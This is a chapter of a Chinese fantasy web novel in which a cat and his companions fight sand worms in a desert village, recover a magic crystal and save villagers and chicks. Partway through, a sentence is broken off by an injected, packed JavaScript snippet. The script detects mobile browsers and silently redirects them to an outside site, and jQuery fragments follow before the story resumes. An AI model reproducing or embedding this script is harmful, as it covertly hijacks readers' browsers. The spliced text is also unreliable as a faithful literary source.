默认冷灰
24号文字
方正启体

11. 石漠村

作者:不蘸酱炸鸡本书字数:K更新时间:
    石漠村的风裹着沙粒打在盾上时,像无数细针扎着铁皮,“沙沙”响得人心烦——像上次老周在铁匠铺拆木箱子,稻草绳磨着木板的糙声,钻得人耳朵缝都发疼。


    西拉斯抱着裂成三道缝的铁盾蹲在土堆上哭,肩膀一抽一抽的,活像上次搬陶窑的大瓦罐砸了脚,蹲在村口杂货铺门槛上掉眼泪的模样,连鼻涕都蹭在盾沿那片灰绿色黏液上,混着沙虫的腥气,黏糊糊的。


    那黏液泛着腻人的灰绿色,像没洗干净的矿脉石粉,上次他给马车上绿漆,蹭在粗布衫上的印子,用皂角搓了半天才淡下去,如今这盾沿的印子,怕是搓破手都洗不掉。更让他心疼的是盾心——本该嵌着块菱形魔晶的地方,只剩个空落落的凹槽,风灌进去“呜呜”响,像村头那台漏风的老风箱,扯着嗓子喘气。


    那魔晶是他爹留的老物件,磨得边缘都泛了柔光,昨天还攥在手里跟方绪白显摆:“这可是能让盾硬得砸不开的宝贝,比镇上铁匠铺打的铁门还结实!”


    “哭啥。”方绪白的尾巴扫过西拉斯的手背,软乎乎的猫毛蹭着他糙得像砂纸的手,像用那块旧棉巾擦他沾了漆的手背,棉巾上还带着晒谷场的麦秆味,暖烘烘的。


    猫爪扒着盾沿往里瞅,琥珀色瞳孔在沙光里亮得很,像灶台上挂着的那盏油灯,连灯芯旁飘着的柴灰都照得分明。


    刚才村民喊“西头那家塌了半截屋”时,他耳朵都没动一下,可听见西拉斯抽噎着说“那魔晶能换三车麦饼,够我吃半个月,还能带两袋”,耳朵“唰”地竖起来,尾巴尖的绒毛都绷直了,活像突然听见杂货铺喊“新烤的麦饼出炉了”,比谁都机灵。


    罗文正蹲在塌房边念治愈咒,绿光漫过那遭了难的那户人家被埋的腿,像泡的野菊花茶,泛着温软的光,杯底还沉着两颗晒干的野枣,甜丝丝的。


    他余光瞥见三花猫突然趴在地上,前爪飞快扒沙子,猫毛沾了土也顾不上,像蹭了陶窑炭灰的粗布衫,越蹭越脏——上次西拉斯搬瓦罐蹭的炭灰,用井水淘了三次都没洗掉,如今这猫毛上的土,怕是要让棉巾再添道印子。


    沙粒顺着猫爪往下漏,竟在土堆上扒出个小坑,坑底隐约露着块青石板的边,正是压着脚踝的那块,边缘还沾着点碎麦秆,像上次送的麦饼渣——西拉斯抢了半块,渣子掉在灶台上,被方绪白扫进了柴火堆,如今这碎麦秆,倒成了救急的记号。


    “别扒了,会塌。”罗文伸手想把猫捞过来,指尖刚碰到方绪白的后颈,就觉猫毛突然绷紧,像碰了针线篮里没剪头的棉线,尖得扎手。


    下一秒,猫突然抬头往西北方向瞅,琥珀色瞳孔缩成了细缝,尾巴尖绷得直溜溜的。


    西拉斯还在哭,奎兰蹲在旁边递粗布帕子,精灵的浅金发被风吹得乱晃,像后山松树上挂着的棉絮,软乎乎的。


    他小声劝:“或许能找回来,比找丢失的柴刀容易,上次你丢的柴刀,不也帮你在草垛里找着了?”


    话音刚落,地面突然“轰隆”震了一下,像谷仓里的粮囤突然倒了,吓得人心脏都跳快了半拍,连灶台上的陶碗都晃了晃。


    沙虫钻洞的闷响从地底传上来,像陶窑里的柴火没烧透,闷得烟囱都发颤,连灶台上的铁锅都跟着抖。


    西拉斯吓得一蹦三尺高,哭腔都变了调:“在这儿!它在这儿!”铁盾被他扔在地上,裂缝里沾着的沙粒撒了一地,像摔在地上的陶碗,碎渣溅得到处都是。


    方绪白却没动,扒沙子的爪子停在青石板旁,转头往罗文怀里蹭了蹭,尾巴尖勾着他的手腕往王婆那边送——像以前在灶房,它勾着林婶的手腕,指给她看藏在面缸里的烤红薯,油纸包着还冒热气,生怕被老周抢了去。


    罗文的治愈咒刚把石板浮起半寸,沙地里突然窜出条灰绿色的影子,口器张得老大,尖牙上沾着的碎魔晶渣,像咬碎了的冰糖块——上次老周给它的那颗冰糖,甜得它舔了半天爪子。


    “我的魔晶!”西拉斯举着斧头就冲,却被奎兰拽住了胳膊。


    精灵脸发白,蓝眼睛盯着沙虫身后的沙坑,像看见晒谷场上被麻雀啄出的洞,触目惊心:“有、有幼虫……比上次后山遇到的毛毛虫还多,上次你还被毛毛虫吓得跳上柴垛!”


    果然,大沙虫身后跟着三条小沙虫,细腿扒着沙子往塌房爬,速度倒不慢,像谷仓里乱窜的耗子,让人心里发毛——方绪白上次还追着耗子跑了半间灶房,把米缸都撞翻了。


    方绪白突然从罗文怀里跳出去,猫爪在沙地上蹬得飞快,像抱着刚烤好的红薯往屋里跑,生怕抢了去,连鞋底踩地的声音都没他急。


    他没扑大沙虫,反而直往小沙虫冲,尾巴扫得沙粒乱飞,像用小扫帚扫灶台下的柴灰,故意蹭了蹭别人的鞋,尾巴尖还勾了勾灰渣,调皮得很。


    方绪白硬生生把幼虫堵在沙坑边,像把乱窜的耗子堵在墙角,连个逃跑的缝都不留。


    罗文的圣光紧接着裹住小沙虫,金芒烧得虫子“滋滋”响,像把开水倒在冰上,“嘶”的一声就化了。


    他转头喊西拉斯:“盾!用盾砸它头!像砸陶窑里结了块的陶土!”西拉斯这才反应过来,抓起裂盾往大沙虫头上砸——虽说是裂了的盾,力道倒不小,砸得沙虫吃痛缩了缩脖子,口器里掉出块亮晶晶的东西,像掉在地上的玻璃珠,上次赶庙会,西拉斯还赢了三颗这样的珠子。


    是那块魔晶!


    边角磕掉了点,却还亮闪闪的,像被摔了一下的瓷碗,没碎却缺了块边——上次西拉斯摔了瓷碗,心疼了好几天,如今这魔晶的缺角,比摔了瓷碗还让他揪心。


    他眼疾手快捡起来揣进怀里,刚要咧嘴笑,就见方绪白蹲在沙堆上甩毛,土沫子溅了罗文一身,像上次他把面撒在发面上,佐伊气得瞪了他一眼,却还是帮他扫干净了。


    罗文用粗布帕子擦着猫耳朵,绿眼睛里带着点无奈的笑,像看它蹭了炭灰的爪子,嘴上骂着“小迷糊”,手却没停:“这下好了?找到魔晶,还救了人,该给你挂块麦饼当奖励。”


    方绪白蹭了蹭他的手,喉咙里呼噜呼噜响,像在灶房打盹时的轻鼾,连呼吸都带着麦饼味。


    可他尾巴尖突然又竖了起来——西边沙地里传来闷沉的挖洞声,比刚才还近,像有人在院外用锄头挖冻土,震得窗棂都发颤。


    奎兰突然拽了拽罗文的披风,小声说:“听……沙棘草在抖,像被风吹得晃的狗尾巴草,上次你栽的那丛,被山风吹得直晃。”


    奎兰指尖凝着点木魔法,浅金色的发垂在额前,像遮了块薄纱,蓝眼睛盯着沙面:“好像不止一只,比上次藏在谷仓里的耗子还多,上次那只耗子,还咬坏了草席。”


    西拉斯把魔晶往盾缝里塞,塞不进去也硬塞,像把棉线往陶碗缝里塞,越塞越紧。他把斧头往肩上一扛:“怕啥!有猫大人呢!上次毒蛙王都搞定了,还怕这几条虫子!下次后山蜥蜴怪,也带着猫大人去!”


    方绪白没理他,用爪子扒拉西拉斯揣魔晶的口袋,琥珀色眼睛直勾勾的,像盯着藏在面缸里的麦饼——每次麦饼都藏在最里面,却总被他找着。


    西拉斯愣了愣,从怀里摸出块魔晶碎渣递过去:“给?这可换不了麦饼,连半块都换不到,上次半块麦饼,我还抢了半天。”


    方绪白却没接,转头往塌房那边瞅。


    那户受伤的人家已经被扶到草席上,正颤巍巍地给奎兰递陶碗,粗陶碗碰着精灵的手,“当”地响了声,像杂货铺卖的土陶碗,摔了好几次都没坏。


    奎兰红着脸接过来,手还在抖,像上次被村长夸劈柴劈得好时的模样,耳朵尖都红了。


    方绪白突然往那边跑,路过沙虫尸体时还踩了一脚,把爪上的黏液蹭掉了,像蹭掉鞋底的泥——上次在泥地里踩了一脚,用湿棉巾擦了半天,才把泥印子擦掉。


    罗文跟在后面笑,圣光把地上的沙烫得泛白,像灶台上烧了一下午的铁锅,手放上去暖乎乎的:“别急,暖沙堆还没找呢,你不是最爱蹲暖乎乎的地方,上次午休,还抢了我的柴火堆。”


    方绪白停住脚回头看他,尾巴尖扫过西拉斯的盾,把沾着的魔晶渣扫进矮人手里。西拉斯赶紧接住,红眼睛亮得很,像突然收到村长给的麦种,倒比刚才哭的时候精神多了,连嘴角都翘了起来。


    风又裹着沙粒吹过来,这次却没那么扎人,裹着点麦饼的香,从远方飘过来,沾在方绪白的耳尖上,暖乎乎的,像递来的热米汤,碗沿还沾着点米粒,甜得人心里发颤。


    方绪白刚跑到草席边,就见那户遭难人家的老人颤巍巍地摸向怀里,掏出块用布包着的东西——布角都磨得起了毛,像用了三年的纳鞋底粗布,针脚都快磨平了。


    “猫……猫大人,”老人声音发哑,却把布包往猫爪边递,“这麦饼,给你垫垫肚子,比西头做的甜,是用新收的冬麦烤的,香得很。”


    布包一打开,麦饼香混着沙粒的腥气飘过来,方绪白鼻子动了动,却没立刻叼,反而用尾巴勾着布包往奎兰那边推。


    精灵还攥着水囊发愣,浅金发上沾的沙粒被风吹得晃,像晒谷场边落了灰的狗尾巴草,蔫乎乎的。


    “它让你吃呢。”


    罗文走过来,圣光扫过草席边的沙,烫出片暖烘烘的印子,像灶膛边晒热的旧棉垫,裹着柴火的温度。


    奎兰红着脸接了麦饼,掰了小块递到方绪白嘴边:“你也吃,这是攒了三天的,舍不得给村里孩子分呢。”


    方绪白却转头往西边瞅,琥珀色眼睛盯着沙棘草抖得最厉害的地方——沙面突然鼓了个包,像藏在谷仓里的麦种袋被耗子顶得晃,紧接着“轰隆”一声,沙地里窜出两条沙虫,比刚才那只还粗,口器里的尖牙沾着沙,像没擦干净的陶窑粗陶碗,糊着层泥。


    “好家伙!还来俩!”西拉斯举着斧头就冲,裂盾挂在腰间,魔晶在凹槽里晃得响,像揣了袋赶庙会赢的玻璃珠,叮当作响。


    方绪白却没扑,反而往王婆身后躲,尾巴勾着老人的衣角往暖沙区拉——罗文的圣光还在沙上留着温度,像刚从灶膛里掏出来的热炭灰,暖得能焐热冻僵的手。


    “先护着村里人!”罗文的绿光裹住老人,转头喊奎兰,“用藤蔓缠它们的腿!像捆柴那样缠紧用力!”


    奎兰立刻捏着草茎往沙虫方向伸,木魔法催得沙棘草疯长,像后山没人管的野葛藤,顺着沙虫的腿往上爬,草叶上的绒毛蹭得虫子直扭身子,像被麦芒扎了的驴,焦躁得乱踢。


    西拉斯的斧头往沙虫头上劈,却被虫尾扫中了腰,“哎哟”一声摔在沙上,裂盾“哐当”掉在地上,魔晶从凹槽里滚出来,在沙上弹了两下。


    方绪白眼疾手快,冲过去用爪子按住魔晶,像按住滚到灶台下的陶制弹珠,生怕它再滚进沙缝里找不着。


    可那沙虫突然转头喷毒液,灰绿色的黏液直往猫身上泼,罗文的圣光及时挡在前面,毒液落在光罩上“滋滋”响,像把矿粉倒在热铁锅上,冒起股呛人的烟。


    “薇薇安!接住!”西拉斯爬起来,把斧头往方绪白那边扔,猫却没接,反而用尾巴把魔晶扫给奎兰,又叼着斧头往沙虫腿边跑——沙棘草刚缠住虫腿,它就用斧头柄往虫关节处砸,像用木槌砸陶窑里结了块的陶土,“咔嗒”一声,沙虫的腿竟被砸弯了。


    奎兰趁机把藤蔓收得更紧:“缠紧点!像扎麦捆的草绳!”草茎勒得沙虫直叫,口器里的沙粒喷得漫天都是,像拆麦秆捆时撒的碎麦壳,落了西拉斯一头一脸。


    罗文的圣光突然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290275|182655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    聚成光剑,往沙虫的口器里刺——“嘶!”虫子疼得直打滚,压垮了旁边的沙堆,碎石溅在西拉斯的粗布衫上,像被村长扔了团晒干的茅草,痒得他直躲。


    方绪白跳起来,爪子扒着沙虫的背,往它眼睛上挠,像挠谷仓里结了网的蛛丝,猫爪上沾的沙粒都嵌进了虫眼里。


    另一只沙虫想偷袭,却被奎兰的藤蔓缠住了脖子,草茎越勒越紧,虫子的叫声越来越小,最后瘫在沙上,只有腿还在轻轻抖,像没上油的木轮车轴,转不动了。


    西拉斯爬起来捡魔晶,却见方绪白蹲在沙虫尸体上甩毛,土沫子溅了他一脸:“薇薇安!爱捣乱!上次还把他的麦种扒得满地都是!”他刚要说,却看见猫爪下藏着块亮晶晶的东西——是另一块魔晶,比他爹的小些,却更亮,像灶台上挂着的小铜铃,闪着光。


    “还有一块?”西拉斯赶紧捡起来,揣进另一个口袋,笑得嘴都合不拢,“这能换五车麦饼!够两个人吃一个月,还能带两袋!”奎兰扶着老人站起来,草席上还沾着沙,像灶台下没扫干净的柴灰,黑乎乎的。


    老人摸了摸方绪白的头:“猫大人是福星哟,上次我家鸡丢了,也是它在后山草垛里找回来的,还叼着根鸡毛当记号呢。”


    猫蹭了蹭老人的手,尾巴尖扫过她沾了沙的袖口,像擦了擦旧棉袄上的灰,软乎乎的。


    罗文把裂盾捡起来,用圣光补了补裂缝:“虽说是裂了,倒还能用,像你上次摔了的陶水壶,用陶泥补补还能盛水。”


    西拉斯赶紧接过来,把两块魔晶都往凹槽里塞,小的那块嵌不紧,却也晃得好看:“以后这盾,就是‘双晶盾’!比镇上铁匠铺打的铁门还结实!”


    风裹着麦饼的香吹过来,这次没带沙粒,像烤红薯时掀开的灶门,暖香飘得满院都是。


    方绪白走在最前面,尾巴尖扫过沙棘草,“沙沙”响得像扫谷场的小扫帚,罗文扶着王婆,奎兰跟在旁边递水囊,西拉斯扛着双晶盾走在最后,斧头在腰间晃得响,像挂了个旧铜铃,叮叮当当地跟着脚步跳。


    方绪白突然停住脚,耳朵往东边转了转——风里除了麦饼香,还混着点熟悉的“咕咕”像村里养的那只芦花鸡在唤崽。


    方绪白转头往村里的塌房后跑,爪子扒开半埋在沙里的木柴,竟露出个破了口的竹筐,里面缩着三只黄绒绒的小鸡,翅膀还沾着沙粒,像刚从谷堆里钻出来的小毛球。


    “哟,鸡崽还在!”西拉斯凑过来,粗手刚要碰,就被方绪白用尾巴扫了下手背——像上次他想摸刚孵出的小鸡,外婆就用纳鞋底的针轻轻扎了他一下,提醒他“轻点,别惊着”。


    猫用爪子把竹筐往暖沙区拖,小鸡“叽叽”地蹭着它的爪子,像蹭着块暖乎乎的旧棉垫。


    老人看见鸡崽,浑浊的眼睛亮了:“我的鸡……多亏猫大人了!”她颤巍巍地从怀里又摸出块麦饼,这次没包布,饼边都烤得焦脆,“这也给猫大人,鸡崽也得谢你呢。”方绪白叼起麦饼,却没吃,把饼放在竹筐边,小鸡立刻围过来啄饼渣,它就蹲在旁边,尾巴轻轻扫着沙粒,像在给小鸡赶苍蝇。


    罗文看着这模样笑了:“倒成了鸡倌。”他转头对奎兰说,“你用木魔法编个草笼,把鸡崽装着,带回村里找个暖处。”


    奎兰点点头,指尖凝出细草,编出个方方正正的草笼,像林婶编的装鸡蛋的小筐,还留了几个透气的小孔。


    西拉斯扛着盾,看着草笼里的小鸡,突然说:“以后这双晶盾,不光能挡沙虫,还能护着鸡崽!”


    方绪白“喵”了一声,蹭了蹭他的裤腿,尾巴尖勾着他的衣角往村里走——风里的麦饼香更浓了,远处石漠村的炊烟已经飘得很高,像蒸馒头时冒的热气,暖融融的。


    走了没几步,方绪白突然往路边的沙棘丛钻,叼出个小布包,布上还绣着朵歪歪扭扭的野菊花,是常见的花样。


    西拉斯接过来打开,里面竟裹着半块麦饼,还有颗冰糖,像上次偷偷塞给方绪白的那颗。“这是……上次我落在草垛里的!”他挠挠头,“当时还以为被耗子叼走了。”


    方绪白舔了舔他的手,又叼着布包往奎兰那边送,精灵笑着接过来,把冰糖放进草笼里:“给小鸡当零嘴。”小鸡啄着冰糖,“叽叽”叫得更欢了。


    太阳慢慢往西边沉,把沙粒染成了暖金色,像灶台上烤热的粗陶碗。


    罗文扶着王婆走在中间,奎兰提着草笼,西拉斯扛着双晶盾,方绪白走在最前面,尾巴尖扫过沙面,留下一串浅浅的爪印。风里的沙粒不扎人了,裹着麦饼的香和小鸡的“叽叽”声,像在灶房里哼的小调,软乎乎的。


    快到村口时,西拉斯的熟人从杂货铺里探出头,看见他们就喊:“西拉斯!你那魔晶找着没?我还留着半袋麦种,等你换麦饼呢!”西拉斯举起盾,晃得魔晶闪着光:“找着了!还多了一块!能换五车麦饼,够咱们吃一个月!”


    方绪白听见这声音,跑得更快了,像要去抢他藏的麦饼。那人笑着蹲下来,从怀里摸出块烤红薯,还冒着热气:“早给你留着的,我烤的,甜得很。”


    猫叼着红薯,往草笼边跑,把红薯放在地上,用爪子扒开点皮,露出里面橙红的瓤——小鸡凑过来啄了两口,烫得直甩头,逗得大家都笑了。


    风裹着红薯的甜香吹过来,沾在方绪白的耳尖上,暖乎乎的。


    方绪白抬头往天上看,星星已经冒出了几颗,像缝在棉袄上的棉线疙瘩,亮晶晶的。


    西拉斯扛着双晶盾,跟着那人往杂货铺走,罗文扶着王婆去了村长家,奎兰提着草笼找地方安置小鸡,方绪白叼着红薯,跟在他们后面,尾巴尖扫过沙面,留下一串长长的爪印,像一串甜甜的省略号,藏着石漠村的暖,和麦饼的香。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)